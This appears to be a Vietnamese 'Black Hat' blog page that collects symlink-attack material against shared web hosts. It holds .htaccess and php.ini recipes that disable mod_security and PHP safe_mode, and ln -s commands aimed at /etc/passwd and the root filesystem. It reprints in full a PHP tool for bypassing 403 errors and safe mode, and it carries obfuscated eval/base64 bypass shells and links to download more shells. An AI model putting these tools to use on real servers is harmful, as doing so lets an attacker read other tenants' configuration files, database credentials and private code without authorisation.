Kiến thức Black Hat: Symlink

CONFIGURATION File Killer Symlink Shell

CONFIGURATION File Killer Symlink Shell

This is a CONFIGURATION File Killer Symlink Shell coded by a member of Team Indishell. It is fully automated php shell and symlinks all the...

Symlink Python Forbidden Bypass

.htacesss Options FollowSymLinks MultiViews Indexes ExecCGI AddType application/x-httpd-cgi .nothing AddHandler cgi-script...

Python Symlink Bypass

.htaccess Options FollowSymLinks MultiViews Indexes ExecCGI AddType application/x-httpd-cgi .nothing AddHandler cgi-script...

Forbiden bypass (ini method)

http://www.mediafire.com/?i2jes2db6w9inua Khi symljnk thường ghi vào 1 file bất kì ln -s /home/user/public_html/includes...

Symlink ALL Config

Yêu cầu server chạy perl shell và ko dis hàm symljnk. tặng thêm con shell mới <blockquote class="tr_bq">sau khi cat /etc/passwd xong copy hết bỏ vào file go.pl nó sẽ tự symljnk  </blockquote><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><iframe allowfullscreen="allowfullscreen" frameborder="0" height="266" mozallowfullscreen="mozallowfullscreen" src="https://www.youtube.com/embed/x9V3QehUyDM?feature=player_embedded" webkitallowfullscreen="webkitallowfullscreen" width="320"></iframe> </div><div class="separator" style="clear: both; text-align: left;"> </div><ul><li> <img alt="File Type: php" class="inlineimg" src="http://www.checkedby.com/@forum/digitalvb/blackstreamv2/attach/php.gif" title="File Type: php" /> <a href="http://www.checkedby.com/@forum/attachment.php?attachmentid=135&d=1332089448" target="_blank">4041.php‎</a></li><li> <img alt="File Type: pl" class="inlineimg" src="http://www.checkedby.com/@forum/digitalvb/blackstreamv2/attach/pl.gif" title="File Type: pl" /> <a href="http://www.checkedby.com/@forum/attachment.php?attachmentid=134&d=1332089134" target="_blank">go.pl</a> </li></ul>

Symlink ALL Config

Yêu cầu server chạy perl shell và ko dis hàm symljnk. tặng thêm con shell mới sau khi cat /etc/passwd xong copy hết bỏ vào file go.pl nó sẽ ...

.htaccess

cgitelnet symlink htaccess symljnk ghi vào file.hack download file.hack về <blockquote class="tr_bq">Options +ExecCGI AddHandler cgi-script cgi pl cgi love jpg RewriteEngine on RewriteRule (.*).mil$ $1.cgi Options +FollowSymLinks DirectoryIndex cmd.html Options +Indexes RemoveHandler .hack AddType text/plain .hack</blockquote> <hr />SSI VIEW SYMLJNK .htaccess <blockquote class="tr_bq">Options +Includes AddType text/html .shtml AddHandler server-parsed .shtml </blockquote><blockquote class="tr_bq">ln -s /et/passwd juno.txt  </blockquote>juno.shtml: <blockquote class="tr_bq"> </blockquote><hr /><div style="color: yellow;">direct symljnk view file.php dưới dạng file text</div><blockquote class="tr_bq" style="color: lime;">options all Options +FollowSymLinks Options Indexes FollowSymLinks DirectoryIndex ssssss.htm AddType text/plain .php AddHandler server-parsed .php </blockquote> <hr /> Safe mod off <blockquote class="tr_bq">Options +FollowSymLinks DirectoryIndex ssssss.htm Options All Indexes <IfModule mod_security.c> SecFilterEngine Off SecFilterScanPOST Off SecFilterCheckURLEncoding Off SecFilterCheckCookieFormat Off SecFilterCheckUnicodeEncoding Off SecFilterNormalizeCookies Off </IfModule> SetEnv PHPRC /home/user/public_html/php.ini suPHP_ConfigPath /home/user/public_html/php.ini  </blockquote><hr />or <blockquote class="tr_bq">Options +ExecCGI AddHandler cgi-script cgi pl cgi love jpg RewriteEngine on RewriteRule (.*)\.mil$ $1.cgi Options +FollowSymLinks DirectoryIndex cmd.html Options +Indexes RemoveHandler .hack AddType text/plain .hack ## milw0rmvn exploit ## </blockquote>php.ini: <blockquote class="tr_bq">safe_mode=Off Disable_Functions=None Open_Basedir=None Safe_Exec_Dir=None Safe_Gid=None Safe_Include_Dir=None Sql.safe_mode=None cURL=Off MySQL=Off MSSQL=Off PostgreSQL=Off Oracle=Off</blockquote><hr />or <blockquote class="tr_bq"><IfModule mod_security.c> SecFilterEngine Off SecFilterSanPOST Off </IfModule> #START # Options +ExecCGI AddHandler cgi-script cgi pl tmt Options +FollowSymLinks DirectoryIndex seees.html Options +Indexes </blockquote><hr /><div style="color: yellow;">VIEW file.php</div><blockquote class="tr_bq">Options all DirectoryIndex Sux.html AddType text/plain .php AddHandler server-parsed .php AddType text/plain .html AddHandler txt .html Require None Satisfy Any  </blockquote><hr />hạ safe_mode php.ini <blockquote class="tr_bq">safe_mode = Off disable_functions = "" </blockquote>.htaccess <blockquote class="tr_bq"><IfModule mod_security.c> SecFilterEngine Off SecFilterScanPOST Off SecFilterCheckURLEncoding Off SecFilterCheckCookieFormat Off SecFilterCheckUnicodeEncoding Off SecFilterNormalizeCookies Off </IfModule>  </blockquote>.htaccess <blockquote class="tr_bq">AddHandler application/x-httpd-php4 .php .php4 .php3 </blockquote>.htaccess <blockquote class="tr_bq">php_flag safe_mode off php_flag disable_functions ""  </blockquote>.htaccess <blockquote class="tr_bq"> php_admin_value disable_functions "" php_admin_value safe_mode off </blockquote>.htaccess <blockquote class="tr_bq">php_value safe_mode off php_value disable_functions ""</blockquote>.htaccess <blockquote class="tr_bq">SetEnv PHPRC /home/user/public_html/php.ini</blockquote>.htaccess <blockquote class="tr_bq">suPHP_ConfigPath /home/user/public_html/php.ini</blockquote>.htaccess <blockquote class="tr_bq"><Files *.php> ForceType application/x-httpd-php4 </Files> </blockquote>

.htaccess

cgitelnet symlink htaccess symljnk ghi vào file.hack download file.hack về Options +ExecCGI AddHandler cgi-script cgi pl cgi love jpg Rew...

403 Forbidden bypass

http://junookyo.blogspot.com/2012/03/symljnk-bypass-view-filephp.html Nếu lại bị chặn forbidden thì chơi cách này: yêu cầu...

Symlink forbidden bypass shell | ln -s permiison bypassed shell publiced

ln -s bypassed ~> symljnk từng user Tạo cgi_shell, python_shell ln -s bypass /etc/passwd Link download: Click!

Not Forbidden Error New Symlink Bypass Method

<blockquote class="tr_bq"><?PHP ############################### #All Right Reserved By Sun-Army [ Sun-Army.Org] #Coded By Nitr0jen26 -> <a href="mailto:nitr0jen26@asia.com">nitr0jen26@asia.com</a> #Break Imperialism Back-Bone #This Tool: #1-Bypass Forbidden-403,Access Denied,You Dont Access And...In Symlink Method #2-Bypass Php Safe-Mode Prior 5.2.12,5.3.1 #3-Support Cgi Bypass Methods #Version = 1.0.2 ############################### session_start(); $Res = ''; if(is_writable(".")){ if(isset($_POST['file'])){ $file = $_POST['file']; $fakedir="cx"; $fakedep=16; if(!(isset($_SESSION['num']))){ $_SESSION['num'] = 0; } else{ $_SESSION['num'] = $_SESSION['num'] + 1; } $level=0; @unlink("sun-".$_SESSION['num']); @mkdir("sun-".$_SESSION['num']); chdir("sun-".$_SESSION['num']); for($as=0;$as<$fakedep;$as++){ if(!file_exists($fakedir)) mkdir($fakedir); chdir($fakedir); } while(1<$as--) chdir(".."); $hardstyle = explode("/", $file); for($a=0;$a<count($hardstyle);$a++){ if(!empty($hardstyle[$a])){ if(!file_exists($hardstyle[$a])) mkdir($hardstyle[$a]); chdir($hardstyle[$a]); $as++; } } $as++; while($as--) chdir(".."); @rmdir("sun-fake"); @unlink("sun-fake"); @symlink(str_repeat($fakedir."/",$fakedep),"sun-fake"); if($_POST['type'] == 'file'){ while(1) if(true==(@symlink("sun-fake/".str_repeat("../",$fakedep-1).$file,"index.html"))) break; else $num++; @unlink("sun-fake"); mkdir("sun-fake"); $Res = ' symlink <a href="./sun-'.$_SESSION['num'].'/">symlink'.$num.'</a> file'; } else{ $fp = fopen(".htaccess",'a+'); $File = 'DirectoryIndex sun.htm'; fwrite($fp,$File); while(1) if(true==(@symlink("sun-fake/".str_repeat("../",$fakedep-1).$file,"sun"))) break; else $num++; @unlink("sun-fake"); mkdir("sun-fake"); $Res = '<a href="./sun-'.$_SESSION['num'].'/sun">Check It!'.$num.'</a>'; } } } else{ $Res = 'Cant Write In Directory!'; } If (@ini_get("safe_mode") Or strtoupper(@ini_get("safe_mode")) == "on"){$Safe='On';}Else{$Safe='Off';} ?> <Html> <Head> <Title>Sun Symlink Safe-Over [Apache]</Title> </Head> <Body bgcolor="black"> <Center> <pre>###################################### ################################################## ########################################## ###################################### ################################################## ########################################## ################################################### ################################################## ############################# #################################################################################################################### ############## #################################################################################################################### ############## ################################################################################################################################## ################################################################################################################################## ################################################################################################################################## ################################################################################################################################## ################################################################################################################################## ################################################################################################################################## ################################################################################################################################## ################################################################################################################################## ################################################################################################################################## ################################################################################################################################## ################################################################################################################################## <?PHP echo '<div style="background-color:#101010;color:yellow">Safe-Mode : '.$Safe;?> <Form action="<?PHP echo $_SERVER["PHP_SELF"]; ?>" method="post"> Path:<Input type="text" name="file" style="background-color:black;color:#FF3300;width:200px;" value="/etc/passwd"> File<input checked type="radio" name="type" value="file"> Dir<input type="radio" name="type" value="Dir"> <Input type="submit" value="Go!" style="width:100px;background-color:black;color:yellow"> </Form> <?PHP print $Res;?> <table align="center" style="color:lime">By Nitrojen26</table> </Center> </Body> </Html> </blockquote>

Not Forbidden Error New Symlink Bypass Method

Priv8 symlink() 0day coded by NazZ

Priv8 symlink() 0day coded by NazZ

Code: <?php // Symlink ByPass Tool // NaZZ // Credits to IT-Sec eval(gzinflate(str_rot13(base64_decode('Dc7HzptXAEDhx8l/xcIU0xRygYGhG...

Symljnk Bypass view file.php

<div class="separator" style="clear: both; text-align: center;"><iframe allowfullscreen="allowfullscreen" frameborder="0" height="266" mozallowfullscreen="mozallowfullscreen" src="https://www.youtube.com/embed/Bd6TIEF5yO8?feature=player_embedded" webkitallowfullscreen="webkitallowfullscreen" width="320"></iframe></div><div style="text-align: center;"> </div>Cpanel (:2082) <blockquote class="tr_bq">ln -s / dmx.txt tar -zcvf cpanel_dmx.tar.gz  </blockquote>direct admin(:2222) <blockquote class="tr_bq">ln -s / r00t tar -zcvf direct_r00t.tar.gz r00t </blockquote>có quyền login host và giải nén thư mục ra chạy trên address cpanel :http://shell_on_this_host_/dmx.txt/home/user_victim/public_html/index.php direct :r00t/home/user_victim/domains/public_html/index.php .htaccess <blockquote class="tr_bq">Options Indexes FollowSymLinks DirectoryIndex ssssss.htm AddType txt .php AddHandler txt .php  </blockquote>con .htaccess này có chức năng show ra các file.php dưới dạng file text nên cho dù permisson thư mục nhưng đên file này vẫn có thể view hoặc show ra cả file.html <blockquote class="tr_bq">Options all DirectoryIndex Sux.html AddType text/plain .php AddHandler server-parsed .php AddType text/plain .html AddHandler txt .html Require None Satisfy Any  </blockquote>Download: <a href="http://www.mediafire.com/?68yyho1ys1pj9sh" target="_blank">http://www.mediafire.com/?68yyho1ys1pj9sh</a> Pass Unlock & Unrar: junookyo

Symljnk Bypass view file.php

Cpanel (:2082) ln -s / dmx.txt tar -zcvf cpanel_dmx.tar.gz direct admin(:2222) ln -s / r00t tar -zcvf direct_r00t.tar.gz r00t c...

Symlink IncludesNOEXEC

<Directory "/"> Options -ExecCGI -FollowSymLinks -Includes IncludesNOEXEC Indexes -MultiViews SymLinksIfOwnerMatch AllowOver...

Bypass Forbidden-403,Access Denied,You Dont Access And...In Symlink Method

<div style="margin-top: 5px; margin: 20px;"><div class="smallfont" style="margin-bottom: 2px;">Code:</div><pre class="alt2" dir="ltr" style="border: 1px inset; height: 498px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"><?PHP ############################### #All Right Reserved By Sun-Army [ Sun-Army.Org] #Coded By Nitr0jen26 -> nitr0jen26@asia.com #Break Imperialism Back-Bone #This Tool: #1-Bypass Forbidden-403,Access Denied,You Dont Access And...In Symlink Method #2-Bypass Php Safe-Mode Prior 5.2.12,5.3.1 #3-Support Cgi Bypass Methods #Version = 1.0.2 ############################### session_start(); $Res = ''; if(is_writable(".")){ if(isset($_POST['file'])){ $file = $_POST['file']; $fakedir="cx"; $fakedep=16; if(!(isset($_SESSION['num']))){ $_SESSION['num'] = 0; } else{ $_SESSION['num'] = $_SESSION['num'] + 1; } $level=0; @unlink("sun-".$_SESSION['num']); @mkdir("sun-".$_SESSION['num']); chdir("sun-".$_SESSION['num']); for($as=0;$as<$fakedep;$as++){ if(!file_exists($fakedir)) mkdir($fakedir); chdir($fakedir); } while(1<$as--) chdir(".."); $hardstyle = explode("/", $file); for($a=0;$a<count($hardstyle);$a++){ if(!empty($hardstyle[$a])){ if(!file_exists($hardstyle[$a])) mkdir($hardstyle[$a]); chdir($hardstyle[$a]); $as++; } } $as++; while($as--) chdir(".."); @rmdir("sun-fake"); @unlink("sun-fake"); @symlink(str_repeat($fakedir."/",$fakedep),"sun-fake"); if($_POST['type'] == 'file'){ while(1) if(true==(@symlink("sun-fake/".str_repeat("../",$fakedep-1).$file,"index.html"))) break; else $num++; @unlink("sun-fake"); mkdir("sun-fake"); $Res = ' symlink <a href="./sun-'.$_SESSION['num'].'/">symlink'.$num.'</a> file'; } else{ $fp = fopen(".htaccess",'a+'); $File = 'DirectoryIndex sun.htm'; fwrite($fp,$File); while(1) if(true==(@symlink("sun-fake/".str_repeat("../",$fakedep-1).$file,"sun"))) break; else $num++; @unlink("sun-fake"); mkdir("sun-fake"); $Res = '<a href="./sun-'.$_SESSION['num'].'/sun">Check It!'.$num.'</a>'; } } } else{ $Res = 'Cant Write In Directory!'; } If (@ini_get("safe_mode") Or strtoupper(@ini_get("safe_mode")) == "on"){$Safe='On';}Else{$Safe='Off';} ?> <Html> <Head> <Title>Sun Symlink Safe-Over [Apache]</Title> </Head> <Body bgcolor="black"> <Center> <pre>################################################################################################################################## ################################################################################################################################## ################################################################################################################################## ################################################################################################################################## ################################################################################################################################## ################################################################################################################################## ################################################################################################################################## ################################################################################################################################## ################################################################################################################################## ################################################################################################################################## ################################################################################################################################## ################################################################################################################################## ################################################################################################################################## ################################################################################################################################## ################################################################################################################################## ################################################################################################################################## <?PHP echo '<div style="background-color:#101010;color:yellow">Safe-Mode : '.$Safe;?> <Form action="<?PHP echo $_SERVER["PHP_SELF"]; ?>" method="post"> Path:<Input type="text" name="file" style="background-color:black;color:#FF3300;width:200px;" value="/etc/passwd"> File<input checked type="radio" name="type" value="file"> Dir<input type="radio" name="type" value="Dir"> <Input type="submit" value="Go!" style="width:100px;background-color:black;color:yellow"> </Form> <?PHP print $Res;?> <table align="center" style="color:lime">By Nitrojen26</table> </Center> </Body> </Html></pre></div>

Bypass Forbidden-403,Access Denied,You Dont Access And...In Symlink Method

Symlink Sa 2.0 | 2012 yeni symlink priv8 bypass shell

<img alt="" border="0" id="ncode_imageresizer_container_1" src="http://img103.herosh.com/2012/01/09/144096654.png" /> <div style="margin-top: 5px; margin: 20px;"><div class="smallfont" style="margin-bottom: 2px;">Code:</div><pre class="alt2" dir="ltr" style="border: 1px inset; height: 50px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"><?php /* Cod3d by Mr.Alsa3ek and Al-Swisre */$OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64');$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};$OOO000O00=$OOO000000{0}.$OOO000000{12}.$OOO000000{7}.$OOO000000{5}.$OOO000000{15};$O0O000O00=$OOO000000{0}.$OOO000000{1}.$OOO000000{5}.$OOO000000{14};$O0O000O0O=$O0O000O00.$OOO000000{11};$O0O000O00=$O0O000O00.$OOO000000{3};$O0O00OO00=$OOO000000{0}.$OOO000000{8}.$OOO000000{5}.$OOO000000{9}.$OOO000000{16};$OOO00000O=$OOO000000{3}.$OOO000000{14}.$OOO000000{8}.$OOO000000{14}.$OOO000000{8};$OOO0O0O00=__FILE__;$OO00O0000=0x2f24;eval($OOO0000O0('JE8wMDBPME8wMD0kT09PMDAwTzAwKCRPT08wTzBPMDAsJ3JiJyk7JE8wTzAwT08wMCgkTzAwME8wTzAwLDB4NDlmKTskT08wME8wME8wPSRPT08wMDAwTzAoJE9PTzAwMDAwTygkTzBPMDBPTzAwKCRPMDAwTzBPMDAsMHgxN2MpLCdFbnRlcnlvdXdraFJIWUtOV09VVEFhQmJDY0RkRmZHZ0lpSmpMbE1tUHBRcVNzVnZYeFp6MDEyMzQ1Njc4OSsvPScsJ0FCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5Ky8nKSk7ZXZhbCgkT08wME8wME8wKTs='));return;?>~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